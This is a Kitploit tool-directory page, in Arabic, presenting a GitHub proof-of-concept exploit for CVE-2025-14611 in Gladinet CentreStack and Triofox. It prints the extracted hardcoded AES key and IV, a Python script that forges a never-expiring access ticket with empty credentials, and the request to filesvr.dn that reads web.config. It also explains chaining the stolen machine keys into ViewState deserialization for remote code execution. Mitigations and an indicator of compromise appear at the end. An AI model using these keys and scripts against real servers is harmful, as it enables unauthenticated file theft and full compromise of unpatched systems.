Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-14611-CentreStack-and-Triofox-full-Poc-Exploit — CVE-2025-14611 CentreStack و Triofox Poc/Exploit كامل | Kitploit
أدوات/GitHubGitHub/pl4tyz/cve-2025-14611-centrestack-and-triofox-full-poc-exploit
تحليل الثغرات الأمنيةالاستغلالالهندسة العكسيةاستغلال تطبيقات الويبالتشفيراختبار الاختراقالمصادقةالفريق الأحمرتطوير الحمولات

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
GitHubpl4tyz/cve-2025-14611-centrestack-and-triofox-full-poc-exploit

CVE-2025-14611-CentreStack-and-Triofox-full-Poc-Exploit

CVE-2025-14611 CentreStack و Triofox Poc/Exploit كامل

عرض المستودع
منذ 7 أشهرلم تتم المراجعة بعد

CVE-2025-14611 CentreStack و Triofox - Poc/Exploit كامل

ملخص

تنشأ هذه الثغرة من مفاتيح تشفير ثابتة (hardcoded) في منتجات Gladinet CentreStack و Triofox، مما يتيح قراءة ملفات عشوائية من خلال تذاكر وصول مزورة. يستخدم تطبيق AES-256 مفاتيح ثابتة غير متغيرة مضمّنة مباشرة في الملف الثنائي للتطبيق (GladCtrl64.dll)، مما يسمح لأي مهاجم يستخرج هذه المفاتيح بما يلي:

  1. فك تشفير تذاكر الوصول المشروعة لفهم مسارات الملفات الداخلية وتكوين النظام
  2. تزوير تذاكر وصول خبيثة بطوابع زمنية لا تنتهي لقراءة ملفات عشوائية على الخادم
  3. تجاوز المصادقة بترك حقلي اسم المستخدم وكلمة المرور فارغين، مما يتسبب في تراجع التطبيق إلى هوية مجموعة تطبيقات IIS (IIS Application Pool Identity)
  4. ربط هذه الثغرة مع CVE-2025-30406 (إلغاء تسلسل ViewState) لتحقيق تنفيذ تعليمات برمجية عن بُعد

تؤثر الثغرة على جميع إصدارات Gladinet CentreStack و Triofox السابقة للإصدار 16.12.10420.56791، وقد تم استغلالها بنشاط في البرية منذ نوفمبر 2025 على الأقل.

التحليل

1. توليد المفاتيح وتخزينها

تبدأ الثغرة بكيفية توليد وتخزين المفاتيح التشفيرية في GladCtrl64.dll. الدالتان GenerateSecKey و GenerateSecKey1 مسؤولتان عن توفير مفتاح تشفير AES ومتجه التهيئة (IV).

سير توليد المفتاح:

عند بدء تشغيل تطبيق خادم CentreStack، يستدعي الصنف SysKeyMgr الدالة AccessKeyMgr64.GetSysEncKey التي تستدعي GenerateSecKey الموجودة في GladCtrl64.dll. هذه الدالة:

root@kitploit:~
PSTR sub_180001000(wchar16* arg1)
{
    int32_t cbMultiByte = WideCharToMultiByte(CodePage: 0xfde9, dwFlags: 0, 
        lpWideCharStr: arg1, cchWideChar: 0xffffffff, lpMultiByteStr: nullptr, 
        cbMultiByte: 0, lpDefaultChar: nullptr, lpUsedDefaultChar: nullptr);
    
    if (cbMultiByte != 0) {
        PSTR lpMultiByteStr = sub_1800012e0(sx.q(cbMultiByte + 2));
        
        if (lpMultiByteStr != 0) {
            if (WideCharToMultiByte(CodePage: 0xfde9, dwFlags: 0, lpWideCharStr: arg1, 
                    cchWideChar: 0xffffffff, lpMultiByteStr, cbMultiByte, 
                    lpDefaultChar: nullptr, lpUsedDefaultChar: nullptr) != 0)
                return lpMultiByteStr;
            
            sub_180001290(lpMultiByteStr);
        }
    }
    return nullptr;
}

تقوم الدالة بتحويل السلاسل المشفرة بـ UTF-16LE إلى UTF-8 باستخدام واجهة برمجة تطبيقات Windows WideCharToMultiByte مع صفحة الشفرة 0xfde9 (UTF-8). يتم تخزين البيانات المصدر في موقعين ثابتين في الذاكرة:

  • مصدر المفتاح (0x18000c000): سلسلة UTF-16LE بطول 100 بايت تحتوي على نص صيني
  • مصدر IV (0x18000c2c0): سلسلة UTF-16LE بطول 100 بايت تبدأ بـ "moDriv" يليها نص ياباني

النتيجة الحرجة: هذه السلاسل لا تتغير أبدًا عبر أي تثبيت للبرنامج. اسم الدالة GenerateSecKey مضلل — فهي لا تولّد مفاتيح ديناميكيًا بل تعيد ببساطة سلاسل ثابتة موجودة مسبقًا من الملف الثنائي.

2. المفاتيح الثابتة (Hardcoded)

من خلال تحليل الهندسة العكسية، تم استخراج المفاتيح الثابتة من قسم .data في GladCtrl64.dll:

الذاكرة عند 0x18000c000 (مصدر المفتاح):

root@kitploit:~
0d 4e c7 8f 0c ff 03 8c e5 67 5f 4e 3e 66 3a 79
0c ff e5 65 2c 67 01 30 a6 7e e6 65 01 30 e5 4e
72 82 17 52 8c 54 ce 9e f4 5d e9 5a 49 7b fd 56
84 76 d7 53 03 8c e5 67 05 80 27 59 1a 59 a4 8b
...

عند فك تشفيرها من UTF-16LE إلى UTF-8، ينتج عنها نص صيني:

root@kitploit:~
不过، 调查也显示، 日本、约旦、以色列和黎巴嫩等国的受调查者大多认为美国仍将保持自己的超级大国地位...

الذاكرة عند 0x18000c2c0 (مصدر IV):

root@kitploit:~
6d 6f 44 72 69 76 65 00   // "moDriv" في ASCII/UTF-16LE
65 00 6f 30 01 30 c9 30 e9 30 a4 30 d6 30 68 30
57 30 66 30 de 30 a6 30 f3 30 c8 30 67 30 4d 30
...

عند فك تشفيرها، ينتج عنها:

root@kitploit:~
moDriveは、ドライブとしてマウントできるので、フォルダコピー感覚で使えて超快適だが...

المفاتيح التشفيرية النهائية:

يستخدم التطبيق أول 32 بايت من مصدر المفتاح المشفر بـ UTF-8 كمفتاح AES-256، وأول 16 بايت من مصدر IV المشفر بـ UTF-8 كمتجه تهيئة:

root@kitploit:~
AES-256 Key: e4b88de8bf87efbc8ce8b083e69fa5e4b99fe698bee7a4baefbc8ce697a5e69c
AES IV:      6d6f4472697665e381afe38081e38389

3. معالج تنزيل الملفات المعرض للخطر

يتم استغلال الثغرة من خلال معالج HTTP filesvr.dn، المرتبط بالصنف GladinetStorage.FileDownloadHandler. يقوم هذا المعالج بمعالجة تذاكر الوصول المشفرة التي تُمرَّر عبر معامل الاستعلام t.

هيكل تذكرة الوصول:

تذاكر الوصول هي حقول مفصولة بسطر جديد مشفرة بـ AES-256-CBC:

root@kitploit:~
السطر 0: مسار الملف (مسار مطلق على الخادم)
السطر 1: اسم المستخدم (حساب Windows للتقمص)
السطر 2: كلمة المرور (بيانات اعتماد ذلك الحساب)
السطر 3: الطابع الزمني (وقت إنشاء التذكرة)

عملية فك التشفير:

  1. يستقبل المعالج المعامل t ويقوم بتنظيف مخصص، مستبدلاً الأحرف الآمنة لعناوين URL (: → +، | → /)
  2. يتم فك تشفير القيمة بـ Base64 للحصول على النص المشفر
  3. يتم استدعاء AccessTicket.Decrypt، الذي يسترجع SysKey الثابت (أول 32 بايت) و SysKey1 (أول 16 بايت)
  4. يتم تكوين تشفير AES-256-CBC بهذه المفاتيح
  5. يتم فك تشفير التذكرة وتحليلها

تجاوز التحقق من الطابع الزمني:

يقارن المعالج الطابع الزمني للتذكرة بوقت الخادم الحالي. إذا كانت التذكرة أقدم من 4 ساعات، يتم رفضها. ومع ذلك، يمكن للمهاجمين تعيين الطابع الزمني إلى السنة 9999، مما ينشئ تذكرة لا تنتهي أبدًا:

root@kitploit:~
9999-11-27 14:52:04.009217

يخلق هذا بابًا خلفيًا دائمًا يمكن إعادة استخدامه إلى أجل غير مسمى.

4. تجاوز المصادقة من خلال بيانات اعتماد فارغة

بعد فك التشفير، يستخرج المعالج حقلي اسم المستخدم وكلمة المرور ويحاول تهيئة سياق تقمص. ثغرة حرجة: عندما يكون الحقلان فارغين، يفشل منطق التقمص ويتراجع إلى هوية مجموعة تطبيقات IIS.

يسمح هذا بقراءة ملفات عشوائية دون مصادقة، حيث يعمل التطبيق بصلاحيات مرتفعة ولكنه لا يتطلب أي بيانات اعتماد صالحة.

مثال على تذكرة خبيثة:

root@kitploit:~
C:\Program Files (x86)\Gladinet Cloud Enterprise\root\web.config
[فارغ]
[فارغ]
9999-11-27 14:52:04.009217

5. الاستغلال في البرية

تم رصد استغلال نشط منذ نوفمبر 2025. يتبع المهاجمون هذا النمط:

الخطوة 1: تزوير تذكرة وصول

باستخدام المفاتيح المستخرجة، ينشئ المهاجمون تذاكر مشفرة تستهدف web.config:

root@kitploit:~
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import base64

AES_KEY = bytes.fromhex('e4b88de8bf87efbc8ce8b083e69fa5e4b99fe698bee7a4baefbc8ce697a5e69c')
AES_IV = bytes.fromhex('6d6f4472697665e381afe38081e38389')

ticket = "C:\\Program Files (x86)\\Gladinet Cloud Enterprise\\root\\web.config\n\n\n9999-11-27 14:52:04.009217"
cipher = AES.new(AES_KEY, AES.MODE_CBC, AES_IV)
ciphertext = cipher.encrypt(pad(ticket.encode('utf-8'), 16))
b64 = base64.b64encode(ciphertext).decode('ascii')
url_safe = b64.replace('+', ':').replace('/', '|')

الخطوة 2: إرسال طلب خبيث

يُرسل التذكرة المزورة إلى نقطة النهاية المعرضة:

root@kitploit:~
GET /storage/filesvr.dn?t=vghpI7EToZUDIZDdprSubL3mTZ2... HTTP/1.1
Host: vulnerable-server.com

الخطوة 3: استخراج مفاتيح الجهاز

يحتوي الرد على ملف web.config مع مفاتيح الجهاز:

root@kitploit:~
<machineKey 
    validationKey="ABC123..." 
    decryptionKey="DEF456..." 
    validation="SHA1" 
    decryption="AES" 
/>

الخطوة 4: الربط مع CVE-2025-30406

تمكن مفاتيح الجهاز هذه من هجمات إلغاء تسلسل ViewState، مما يؤدي إلى تنفيذ تعليمات برمجية عن بُعد. يقوم المهاجمون بصياغة حمولات ViewState خبيثة موقعة بالمفاتيح المستخرجة، محققين اختراقًا كاملاً للنظام.

6. مثال حقيقي على هجوم

من محاولات الاستغلال المرصودة (ديسمبر 2025):

تذكرة مشفرة من المهاجم:

root@kitploit:~
vghpI7EToZUDIZDdprSubL3mTZ2:aCLI:8Zra5AOPvX4TEEXlZiueqNysfRx7Dsd3P5l6eiYyDiG8Lvm0o41m:ZDplEYEsO5ksZajiXcsumkDyUgpV5VLxL|372varAu

المحتوى المفكوك:

root@kitploit:~
C:\Program Files (x86)\Gladinet Cloud Enterprise\root\web.config
[فارغ]
[فارغ]
9999-11-27 14:52:04.009217

مصدر الهجوم: عنوان IP 147.124.216[.]205
المنظمات المستهدفة: 9 ضحايا مؤكدين عبر قطاعات الرعاية الصحية والتكنولوجيا والخدمات المهنية
الجدول الزمني للهجوم: محاولات استغلال أولية في نوفمبر 2025، تتصاعد في ديسمبر 2025

الخاتمة

تمثل CVE-2025-14611 فشلًا حرجًا في إدارة المفاتيح التشفيرية. من خلال تضمين مفاتيح ثابتة غير متغيرة مباشرة في الملف الثنائي للتطبيق، أنشأت Gladinet مفتاحًا رئيسيًا عامًا يعمل عبر جميع التثبيتات. تُظهر هذه الثغرة العديد من الإخفاقات الأمنية الجسيمة:

  1. تشفير ثابت (Hardcoded Cryptography): استخدام مفاتيح ثابتة يلغي أي فائدة أمنية للتشفير
  2. تجاوز المصادقة: معالجة بيانات الاعتماد الفارغة تسمح بالوصول غير المصادق
  3. تذاكر لا تنتهي أبدًا: الطوابع الزمنية البعيدة جدًا في المستقبل تنشئ أبوابًا خلفية دائمة
  4. ربط الاستغلال: بالاقتران مع CVE-2025-30406، يتيح هذا اختراقًا كاملاً للنظام

توصيات التخفيف:

  • فوري: تحديث إلى CentreStack/Triofox الإصدار 16.12.10420.56791 أو أحدث
  • حرج: تدوير مفاتيح الجهاز في web.config بعد التصحيح
  • دفاعي: مراقبة سجلات IIS للوصول إلى /storage/filesvr.dn مع معاملات t مشبوهة
  • كشف: البحث في السجلات عن المؤشر: vghpI7EToZUDIZDdprSubL3mTZ2 (تمثيل مشفر لمسار web.config)
  • شبكي: حظر الوصول الوارد إلى CentreStack من الشبكات غير الموثوقة

مؤشر الاختراق:

أي طلب HTTP يحتوي على:

root@kitploit:~
/storage/filesvr.dn?t=vghpI7EToZUDIZDdprSubL3mTZ2

يحدد هذا النص الفرعي بشكل فريد محاولات استغلال هذه الثغرة لاسترداد web.config.

تنزيل الأداة